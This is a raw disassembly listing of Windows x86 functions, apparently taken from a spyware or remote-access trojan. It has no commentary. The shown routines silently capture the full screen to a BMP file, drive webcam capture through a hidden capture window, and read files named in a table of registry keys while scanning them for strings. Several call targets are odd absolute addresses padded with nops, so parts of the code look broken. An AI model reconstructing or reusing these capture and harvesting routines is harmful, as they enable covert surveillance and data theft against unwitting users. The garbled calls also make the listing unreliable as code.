var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 490h
		push	0
		push	0
		push	0
		push	offset aDisplay	; "DISPLAY"
		call	dword_4E16EC	; CreateDCA
		mov	[ebp+var_78], eax
		cmp	[ebp+var_78], 0
		jnz	short loc_417815
		xor	eax, eax
		jmp	locret_417AF8
; ---------------------------------------------------------------------------


loc_417815:				; CODE XREF: sub_4177EB+21j
		push	8
		push	[ebp+var_78]
		call	dword_4E1708	; GetDeviceCaps
		mov	[ebp+var_C], eax
		push	0Ah
		push	[ebp+var_78]
		call	dword_4E1708	; GetDeviceCaps
		mov	[ebp+var_4], eax
		push	0Ch
		push	[ebp+var_78]
		call	dword_4E1708	; GetDeviceCaps
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 8
		ja	short loc_41785C
		push	18h
		push	[ebp+var_78]
		call	dword_4E1708	; GetDeviceCaps
		mov	[ebp+var_14], eax
		mov	[ebp+var_14], 100h
		jmp	short loc_417860
; ---------------------------------------------------------------------------


loc_41785C:				; CODE XREF: sub_4177EB+58j
		and	[ebp+var_14], 0


loc_417860:				; CODE XREF: sub_4177EB+6Fj
		push	[ebp+var_78]
		call	dword_4E174C	; CreateCompatibleDC
		mov	[ebp+var_4C], eax
		cmp	[ebp+var_4C], 0
		jnz	short loc_417882
		push	[ebp+var_78]
		call	dword_4E15BC	; DeleteDC
		xor	eax, eax
		jmp	locret_417AF8
; ---------------------------------------------------------------------------


loc_417882:				; CODE XREF: sub_4177EB+85j
		mov	[ebp+var_48], 28h
		mov	eax, [ebp+var_C]
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], 1
		mov	ax, word ptr [ebp+var_1C]
		mov	[ebp+var_3A], ax
		and	[ebp+var_38], 0
		and	[ebp+var_34], 0
		and	[ebp+var_30], 0
		and	[ebp+var_2C], 0
		mov	eax, [ebp+var_14]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_24], eax
		push	0
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	1
		lea	eax, [ebp+var_48]
		push	eax
		push	[ebp+var_78]
		call	dword_4E1744	; CreateDIBSection
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4178F8
		push	[ebp+var_78]
		call	dword_4E15BC	; DeleteDC
		push	[ebp+var_4C]
		call	dword_4E15BC	; DeleteDC
		xor	eax, eax
		jmp	locret_417AF8
; ---------------------------------------------------------------------------


loc_4178F8:				; CODE XREF: sub_4177EB+F2j
		push	[ebp+var_8]
		push	[ebp+var_4C]
		call	dword_4E15D0	; SelectObject
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_417913
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_41792C


loc_417913:				; CODE XREF: sub_4177EB+120j
		push	[ebp+var_78]
		call	dword_4E15BC	; DeleteDC
		push	[ebp+var_4C]
		call	dword_4E15BC	; DeleteDC
		xor	eax, eax
		jmp	locret_417AF8
; ---------------------------------------------------------------------------


loc_41792C:				; CODE XREF: sub_4177EB+126j
		push	0CC0020h
		push	0
		push	0
		push	[ebp+var_78]
		push	[ebp+var_4]
		push	[ebp+var_C]
		push	0
		push	0
		push	[ebp+var_4C]
		call	dword_4E1748	; BitBlt
		test	eax, eax
		jnz	short loc_417968
		push	[ebp+var_78]
		call	dword_4E15BC	; DeleteDC
		push	[ebp+var_4C]
		call	dword_4E15BC	; DeleteDC
		xor	eax, eax
		jmp	locret_417AF8
; ---------------------------------------------------------------------------


loc_417968:				; CODE XREF: sub_4177EB+162j
		cmp	[ebp+var_14], 0
		jz	short loc_417986
		lea	eax, [ebp+var_48C]
		push	eax
		push	[ebp+var_14]
		push	0
		push	[ebp+var_4C]
		call	dword_4E1624	; GetDIBColorTable
		mov	[ebp+var_14], eax


loc_417986:				; CODE XREF: sub_4177EB+181j
		mov	[ebp+var_8C], 4D42h
		mov	eax, [ebp+var_C]
		imul	eax, [ebp+var_4]
		imul	eax, [ebp+var_1C]
		shr	eax, 3
		mov	ecx, [ebp+var_14]
		lea	eax, [eax+ecx*4+36h]
		mov	[ebp+var_8A], eax
		and	[ebp+var_86], 0
		and	[ebp+var_84], 0
		mov	eax, [ebp+var_14]
		lea	eax, ds:36h[eax*4]
		mov	[ebp+var_82], eax
		mov	[ebp+var_74], 28h
		mov	eax, [ebp+var_C]
		mov	[ebp+var_70], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_6C], eax
		mov	[ebp+var_68], 1
		mov	ax, word ptr [ebp+var_1C]
		mov	[ebp+var_66], ax
		and	[ebp+var_64], 0
		and	[ebp+var_60], 0
		and	[ebp+var_5C], 0
		and	[ebp+var_58], 0
		mov	eax, [ebp+var_14]
		mov	[ebp+var_54], eax
		and	[ebp+var_50], 0
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	40000000h
		push	[ebp+arg_0]
		call	near ptr 28713A9h
		nop
		mov	[ebp+var_490], eax
		cmp	[ebp+var_490], 0FFFFFFFFh
		jnz	short loc_417A51
		push	[ebp+var_8]
		call	dword_4E165C	; DeleteObject
		push	[ebp+var_4C]
		call	dword_4E15BC	; DeleteDC
		push	[ebp+var_78]
		call	dword_4E15BC	; DeleteDC
		xor	eax, eax
		jmp	locret_417AF8
; ---------------------------------------------------------------------------


loc_417A51:				; CODE XREF: sub_4177EB+242j
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		push	0Eh
		lea	eax, [ebp+var_8C]
		push	eax
		push	[ebp+var_490]
		call	near ptr 28407DDh
		nop
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		push	28h
		lea	eax, [ebp+var_74]
		push	eax
		push	[ebp+var_490]
		nop
		call	near ptr 28407DDh
		cmp	[ebp+var_14], 0
		jz	short loc_417AAA
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		mov	eax, [ebp+var_14]
		shl	eax, 2
		push	eax
		lea	eax, [ebp+var_48C]
		push	eax
		push	[ebp+var_490]
		call	near ptr 28407DDh
		nop


loc_417AAA:				; CODE XREF: sub_4177EB+29Dj
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		mov	eax, [ebp+var_C]
		imul	eax, [ebp+var_4]
		imul	eax, [ebp+var_1C]
		shr	eax, 3
		push	eax
		push	[ebp+var_18]
		push	[ebp+var_490]
		nop
		call	near ptr 28407DDh
		push	[ebp+var_490]
		nop
		call	near ptr 2790578h
		push	[ebp+var_8]
		call	dword_4E165C	; DeleteObject
		push	[ebp+var_4C]
		call	dword_4E15BC	; DeleteDC
		push	[ebp+var_78]
		call	dword_4E15BC	; DeleteDC
		push	1
		pop	eax

locret_417AF8:				; CODE XREF: sub_4177EB+25j
					; sub_4177EB+92j ...
		leave
		retn
sub_4177EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AFA	proc near		; CODE XREF: sub_4021E5+5EB1p

var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_2C		= dword	ptr -2Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 6Ch
		push	1
		push	dword_4E85B4
		push	78h
		push	0A0h
		push	0
		push	0
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4E1650
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_417B34
		push	1
		pop	eax
		jmp	locret_417DDD
; ---------------------------------------------------------------------------


loc_417B34:				; CODE XREF: sub_417AFA+30j
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_417B59
		push	0
		push	[ebp+arg_4]
		push	40Ah
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_4C], eax
		jmp	short loc_417B5D
; ---------------------------------------------------------------------------


loc_417B59:				; CODE XREF: sub_417AFA+45j
		and	[ebp+var_4C], 0


loc_417B5D:				; CODE XREF: sub_417AFA+5Dj
		cmp	[ebp+var_4C], 0
		jnz	short loc_417B74
		push	[ebp+var_4]
		call	dword_4E17B0	; DestroyWindow
		push	1
		pop	eax
		jmp	locret_417DDD
; ---------------------------------------------------------------------------


loc_417B74:				; CODE XREF: sub_417AFA+67j
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_417B9A
		lea	eax, [ebp+var_40]
		push	eax
		push	2Ch
		push	40Eh
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_50], eax
		jmp	short loc_417B9E
; ---------------------------------------------------------------------------


loc_417B9A:				; CODE XREF: sub_417AFA+85j
		and	[ebp+var_50], 0


loc_417B9E:				; CODE XREF: sub_417AFA+9Ej
		cmp	[ebp+var_2C], 0
		jnz	short loc_417BB5
		push	[ebp+var_4]
		call	dword_4E17B0	; DestroyWindow
		push	1
		pop	eax
		jmp	locret_417DDD
; ---------------------------------------------------------------------------


loc_417BB5:				; CODE XREF: sub_417AFA+A8j
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_417BD9
		push	0
		push	0
		push	42Ch
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_54], eax
		jmp	short loc_417BDD
; ---------------------------------------------------------------------------


loc_417BD9:				; CODE XREF: sub_417AFA+C6j
		and	[ebp+var_54], 0


loc_417BDD:				; CODE XREF: sub_417AFA+DDj
		mov	eax, [ebp+var_54]
		mov	[ebp+var_14], eax
		push	[ebp+var_14]
		call	sub_41EDA0
		pop	ecx
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jnz	short loc_417C06
		push	[ebp+var_4]
		call	dword_4E17B0	; DestroyWindow
		push	1
		pop	eax
		jmp	locret_417DDD
; ---------------------------------------------------------------------------


loc_417C06:				; CODE XREF: sub_417AFA+F9j
		push	[ebp+var_14]
		call	sub_41EDA0
		pop	ecx
		mov	[ebp+var_44], eax
		cmp	[ebp+var_44], 0
		jnz	short loc_417C29
		push	[ebp+var_4]
		call	dword_4E17B0	; DestroyWindow
		push	1
		pop	eax
		jmp	locret_417DDD
; ---------------------------------------------------------------------------


loc_417C29:				; CODE XREF: sub_417AFA+11Cj
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_417C4F
		push	[ebp+var_48]
		push	[ebp+var_14]
		push	42Ch
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_58], eax
		jmp	short loc_417C53
; ---------------------------------------------------------------------------


loc_417C4F:				; CODE XREF: sub_417AFA+13Aj
		and	[ebp+var_58], 0


loc_417C53:				; CODE XREF: sub_417AFA+153j
		push	[ebp+var_14]
		push	[ebp+var_48]
		push	[ebp+var_44]
		call	sub_422B50
		add	esp, 0Ch
		cmp	[ebp+arg_8], 0
		jg	short loc_417C73
		mov	[ebp+var_C], 280h
		jmp	short loc_417C79
; ---------------------------------------------------------------------------


loc_417C73:				; CODE XREF: sub_417AFA+16Ej
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax


loc_417C79:				; CODE XREF: sub_417AFA+177j
		cmp	[ebp+arg_C], 0
		jg	short loc_417C88
		mov	[ebp+var_8], 1E0h
		jmp	short loc_417C8E
; ---------------------------------------------------------------------------


loc_417C88:				; CODE XREF: sub_417AFA+183j
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_8], eax


loc_417C8E:				; CODE XREF: sub_417AFA+18Cj
		mov	[ebp+var_10], 10h
		mov	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_44]
		mov	ecx, [ebp+var_8]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_44]
		mov	cx, word ptr [ebp+var_10]
		mov	[eax+0Eh], cx
		mov	eax, [ebp+var_44]
		and	dword ptr [eax+14h], 0
		mov	eax, [ebp+var_44]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+var_44]
		and	dword ptr [eax+20h], 0
		mov	eax, [ebp+var_44]
		and	dword ptr [eax+24h], 0
		mov	eax, [ebp+var_44]
		mov	word ptr [eax+0Ch], 1
		mov	eax, [ebp+var_44]
		and	byte ptr [eax+28h], 0
		mov	eax, [ebp+var_44]
		and	byte ptr [eax+29h], 0
		mov	eax, [ebp+var_44]
		and	byte ptr [eax+2Ah], 0
		mov	eax, [ebp+var_44]
		and	byte ptr [eax+2Bh], 0
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_417D19
		push	[ebp+var_44]
		push	[ebp+var_14]
		push	42Dh
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_5C], eax
		jmp	short loc_417D1D
; ---------------------------------------------------------------------------


loc_417D19:				; CODE XREF: sub_417AFA+204j
		and	[ebp+var_5C], 0


loc_417D1D:				; CODE XREF: sub_417AFA+21Dj
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_417D41
		push	0
		push	0
		push	43Dh
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_60], eax
		jmp	short loc_417D45
; ---------------------------------------------------------------------------


loc_417D41:				; CODE XREF: sub_417AFA+22Ej
		and	[ebp+var_60], 0


loc_417D45:				; CODE XREF: sub_417AFA+245j
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_417D6A
		push	[ebp+arg_0]
		push	0
		push	419h
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_64], eax
		jmp	short loc_417D6E
; ---------------------------------------------------------------------------


loc_417D6A:				; CODE XREF: sub_417AFA+256j
		and	[ebp+var_64], 0


loc_417D6E:				; CODE XREF: sub_417AFA+26Ej
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_417D94
		push	[ebp+var_48]
		push	[ebp+var_14]
		push	42Dh
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_68], eax
		jmp	short loc_417D98
; ---------------------------------------------------------------------------


loc_417D94:				; CODE XREF: sub_417AFA+27Fj
		and	[ebp+var_68], 0


loc_417D98:				; CODE XREF: sub_417AFA+298j
		push	[ebp+var_48]
		call	sub_41F930
		pop	ecx
		push	[ebp+var_44]
		call	sub_41F930
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_417DCE
		push	0
		push	0
		push	40Bh
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_6C], eax
		jmp	short loc_417DD2
; ---------------------------------------------------------------------------


loc_417DCE:				; CODE XREF: sub_417AFA+2BBj
		and	[ebp+var_6C], 0


loc_417DD2:				; CODE XREF: sub_417AFA+2D2j
		push	[ebp+var_4]
		call	dword_4E17B0	; DestroyWindow
		xor	eax, eax

locret_417DDD:				; CODE XREF: sub_417AFA+35j
					; sub_417AFA+75j ...
		leave
		retn
sub_417AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DDF	proc near		; CODE XREF: sub_4021E5+5FEAp

var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= byte ptr -0A8h
var_94		= dword	ptr -94h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	1
		push	dword_4E85B4
		push	78h
		push	0A0h
		push	0
		push	0
		push	40000000h
		push	offset aWindow_0 ; "Window"
		call	dword_4E1650
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_417E1C
		push	1
		pop	eax
		jmp	locret_4181F9
; ---------------------------------------------------------------------------


loc_417E1C:				; CODE XREF: sub_417DDF+33j
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_417E44
		push	0
		push	[ebp+arg_4]
		push	40Ah
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_B4], eax
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------


loc_417E44:				; CODE XREF: sub_417DDF+48j
		and	[ebp+var_B4], 0


loc_417E4B:				; CODE XREF: sub_417DDF+63j
		cmp	[ebp+var_B4], 0
		jnz	short loc_417E65
		push	[ebp+var_4]
		call	dword_4E17B0	; DestroyWindow
		push	1
		pop	eax
		jmp	locret_4181F9
; ---------------------------------------------------------------------------


loc_417E65:				; CODE XREF: sub_417DDF+73j
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_417E91
		lea	eax, [ebp+var_A8]
		push	eax
		push	2Ch
		push	40Eh
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_B8], eax
		jmp	short loc_417E98
; ---------------------------------------------------------------------------


loc_417E91:				; CODE XREF: sub_417DDF+91j
		and	[ebp+var_B8], 0


loc_417E98:				; CODE XREF: sub_417DDF+B0j
		cmp	[ebp+var_94], 0
		jnz	short loc_417EB2
		push	[ebp+var_4]
		call	dword_4E17B0	; DestroyWindow
		push	1
		pop	eax
		jmp	locret_4181F9
; ---------------------------------------------------------------------------


loc_417EB2:				; CODE XREF: sub_417DDF+C0j
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_417ED9
		push	0
		push	0
		push	42Ch
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_BC], eax
		jmp	short loc_417EE0
; ---------------------------------------------------------------------------


loc_417ED9:				; CODE XREF: sub_417DDF+DEj
		and	[ebp+var_BC], 0


loc_417EE0:				; CODE XREF: sub_417DDF+F8j
		mov	eax, [ebp+var_BC]
		mov	[ebp+var_78], eax
		push	[ebp+var_78]
		call	sub_41EDA0
		pop	ecx
		mov	[ebp+var_B0], eax
		cmp	[ebp+var_B0], 0
		jnz	short loc_417F12
		push	[ebp+var_4]
		call	dword_4E17B0	; DestroyWindow
		push	1
		pop	eax
		jmp	locret_4181F9
; ---------------------------------------------------------------------------


loc_417F12:				; CODE XREF: sub_417DDF+120j
		push	[ebp+var_78]
		call	sub_41EDA0
		pop	ecx
		mov	[ebp+var_AC], eax
		cmp	[ebp+var_AC], 0
		jnz	short loc_417F3B
		push	[ebp+var_4]
		call	dword_4E17B0	; DestroyWindow
		push	1
		pop	eax
		jmp	locret_4181F9
; ---------------------------------------------------------------------------


loc_417F3B:				; CODE XREF: sub_417DDF+149j
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_417F67
		push	[ebp+var_B0]
		push	[ebp+var_78]
		push	42Ch
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_C0], eax
		jmp	short loc_417F6E
; ---------------------------------------------------------------------------


loc_417F67:				; CODE XREF: sub_417DDF+167j
		and	[ebp+var_C0], 0


loc_417F6E:				; CODE XREF: sub_417DDF+186j
		push	[ebp+var_78]
		push	[ebp+var_B0]
		push	[ebp+var_AC]
		call	sub_422B50
		add	esp, 0Ch
		mov	[ebp+var_10], 5
		cmp	[ebp+arg_8], 0
		jg	short loc_417F9B
		mov	[ebp+var_10], 5
		jmp	short loc_417FA1
; ---------------------------------------------------------------------------


loc_417F9B:				; CODE XREF: sub_417DDF+1B1j
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax


loc_417FA1:				; CODE XREF: sub_417DDF+1BAj
		cmp	[ebp+arg_C], 0
		jg	short loc_417FB0
		mov	[ebp+var_C], 0A0h
		jmp	short loc_417FB6
; ---------------------------------------------------------------------------


loc_417FB0:				; CODE XREF: sub_417DDF+1C6j
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_C], eax


loc_417FB6:				; CODE XREF: sub_417DDF+1CFj
		cmp	[ebp+arg_10], 0
		jg	short loc_417FC5
		mov	[ebp+var_8], 78h
		jmp	short loc_417FCB
; ---------------------------------------------------------------------------


loc_417FC5:				; CODE XREF: sub_417DDF+1DBj
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_8], eax


loc_417FCB:				; CODE XREF: sub_417DDF+1E4j
		mov	[ebp+var_74], 10h
		mov	[ebp+var_7C], 0Fh
		mov	eax, [ebp+var_AC]
		mov	ecx, [ebp+var_C]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_AC]
		mov	ecx, [ebp+var_8]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_AC]
		mov	cx, word ptr [ebp+var_74]
		mov	[eax+0Eh], cx
		mov	eax, [ebp+var_AC]
		and	dword ptr [eax+14h], 0
		mov	eax, [ebp+var_AC]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+var_AC]
		and	dword ptr [eax+20h], 0
		mov	eax, [ebp+var_AC]
		and	dword ptr [eax+24h], 0
		mov	eax, [ebp+var_AC]
		mov	word ptr [eax+0Ch], 1
		mov	eax, [ebp+var_AC]
		and	byte ptr [eax+28h], 0
		mov	eax, [ebp+var_AC]
		and	byte ptr [eax+29h], 0
		mov	eax, [ebp+var_AC]
		and	byte ptr [eax+2Ah], 0
		mov	eax, [ebp+var_AC]
		and	byte ptr [eax+2Bh], 0
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_418087
		push	[ebp+var_AC]
		push	[ebp+var_78]
		push	42Dh
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_C4], eax
		jmp	short loc_41808E
; ---------------------------------------------------------------------------


loc_418087:				; CODE XREF: sub_417DDF+287j
		and	[ebp+var_C4], 0


loc_41808E:				; CODE XREF: sub_417DDF+2A6j
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_4180B7
		lea	eax, [ebp+var_70]
		push	eax
		push	60h
		push	441h
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_C8], eax
		jmp	short loc_4180BE
; ---------------------------------------------------------------------------


loc_4180B7:				; CODE XREF: sub_417DDF+2BAj
		and	[ebp+var_C8], 0


loc_4180BE:				; CODE XREF: sub_417DDF+2D6j
		and	[ebp+var_6C], 0
		and	[ebp+var_48], 0
		and	[ebp+var_44], 0
		and	[ebp+var_40], 0
		mov	[ebp+var_3C], 1
		mov	eax, [ebp+var_10]
		mov	[ebp+var_38], eax
		mov	eax, 0F4240h
		xor	edx, edx
		div	[ebp+var_7C]
		mov	[ebp+var_70], eax
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_418111
		lea	eax, [ebp+var_70]
		push	eax
		push	60h
		push	440h
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_CC], eax
		jmp	short loc_418118
; ---------------------------------------------------------------------------


loc_418111:				; CODE XREF: sub_417DDF+314j
		and	[ebp+var_CC], 0


loc_418118:				; CODE XREF: sub_417DDF+330j
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_418140
		push	[ebp+arg_0]
		push	0
		push	414h
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_D0], eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------


loc_418140:				; CODE XREF: sub_417DDF+344j
		and	[ebp+var_D0], 0


loc_418147:				; CODE XREF: sub_417DDF+35Fj
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_41816E
		push	0
		push	0
		push	43Eh
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_D4], eax
		jmp	short loc_418175
; ---------------------------------------------------------------------------


loc_41816E:				; CODE XREF: sub_417DDF+373j
		and	[ebp+var_D4], 0


loc_418175:				; CODE XREF: sub_417DDF+38Dj
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_4181A1
		push	[ebp+var_B0]
		push	[ebp+var_78]
		push	42Dh
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_D8], eax
		jmp	short loc_4181A8
; ---------------------------------------------------------------------------


loc_4181A1:				; CODE XREF: sub_417DDF+3A1j
		and	[ebp+var_D8], 0


loc_4181A8:				; CODE XREF: sub_417DDF+3C0j
		push	[ebp+var_B0]
		call	sub_41F930
		pop	ecx
		push	[ebp+var_AC]
		call	sub_41F930
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_4181E7
		push	0
		push	0
		push	40Bh
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		mov	[ebp+var_DC], eax
		jmp	short loc_4181EE
; ---------------------------------------------------------------------------


loc_4181E7:				; CODE XREF: sub_417DDF+3ECj
		and	[ebp+var_DC], 0


loc_4181EE:				; CODE XREF: sub_417DDF+406j
		push	[ebp+var_4]
		call	dword_4E17B0	; DestroyWindow
		xor	eax, eax

locret_4181F9:				; CODE XREF: sub_417DDF+38j
					; sub_417DDF+81j ...
		leave
		retn
sub_417DDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4181FB	proc near		; CODE XREF: sub_4021E5+2E74p

var_3FC		= dword	ptr -3FCh
var_3F8		= dword	ptr -3F8h
var_3F4		= byte ptr -3F4h
var_374		= byte ptr -374h
var_174		= dword	ptr -174h
var_170		= dword	ptr -170h
var_16C		= byte ptr -16Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3FCh
		mov	[ebp+var_174], 80h
		and	[ebp+var_170], 0
		jmp	short loc_418224
; ---------------------------------------------------------------------------


loc_418217:				; CODE XREF: sub_4181FB+26Dj
		mov	eax, [ebp+var_170]
		inc	eax
		mov	[ebp+var_170], eax


loc_418224:				; CODE XREF: sub_4181FB+1Aj
		mov	eax, [ebp+var_170]
		imul	eax, 18h
		cmp	off_44C53C[eax], 0
		jz	locret_41846D
		lea	eax, [ebp+var_3F8]
		push	eax
		push	20019h
		push	0
		mov	eax, [ebp+var_170]
		imul	eax, 18h
		push	off_44C53C[eax]
		mov	eax, [ebp+var_170]
		imul	eax, 18h
		push	dword_44C538[eax]
		call	dword_4E1770	; RegOpenKeyExA
		mov	[ebp+var_68], eax
		lea	eax, [ebp+var_174]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+var_170]
		imul	eax, 18h
		push	off_44C540[eax]
		push	[ebp+var_3F8]
		call	dword_4E1600	; RegQueryValueExA
		test	eax, eax
		jnz	loc_41845C
		mov	eax, [ebp+var_170]
		imul	eax, 18h
		cmp	dword_44C548[eax], 0
		jz	loc_41840B
		mov	eax, [ebp+var_170]
		imul	eax, 18h
		push	dword_44C548[eax]
		lea	eax, [ebp+var_3F4]
		push	eax
		push	offset aSS_9	; "%s\\%s"
		lea	eax, [ebp+var_16C]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	offset aR_2	; "r"
		lea	eax, [ebp+var_16C]
		push	eax
		call	sub_4213F0
		pop	ecx
		pop	ecx
		mov	[ebp+var_3FC], eax
		cmp	[ebp+var_3FC], 0
		jz	loc_418409


loc_41830A:				; CODE XREF: sub_4181FB:loc_4183F8j
		push	[ebp+var_3FC]
		push	64h
		lea	eax, [ebp+var_64]
		push	eax
		call	sub_4223D0
		add	esp, 0Ch
		test	eax, eax
		jz	loc_4183FD
		mov	eax, [ebp+var_170]
		imul	eax, 18h
		push	dword_44C54C[eax]
		lea	eax, [ebp+var_64]
		push	eax
		call	sub_421B10
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4183F8
		push	3Dh
		mov	eax, [ebp+var_170]
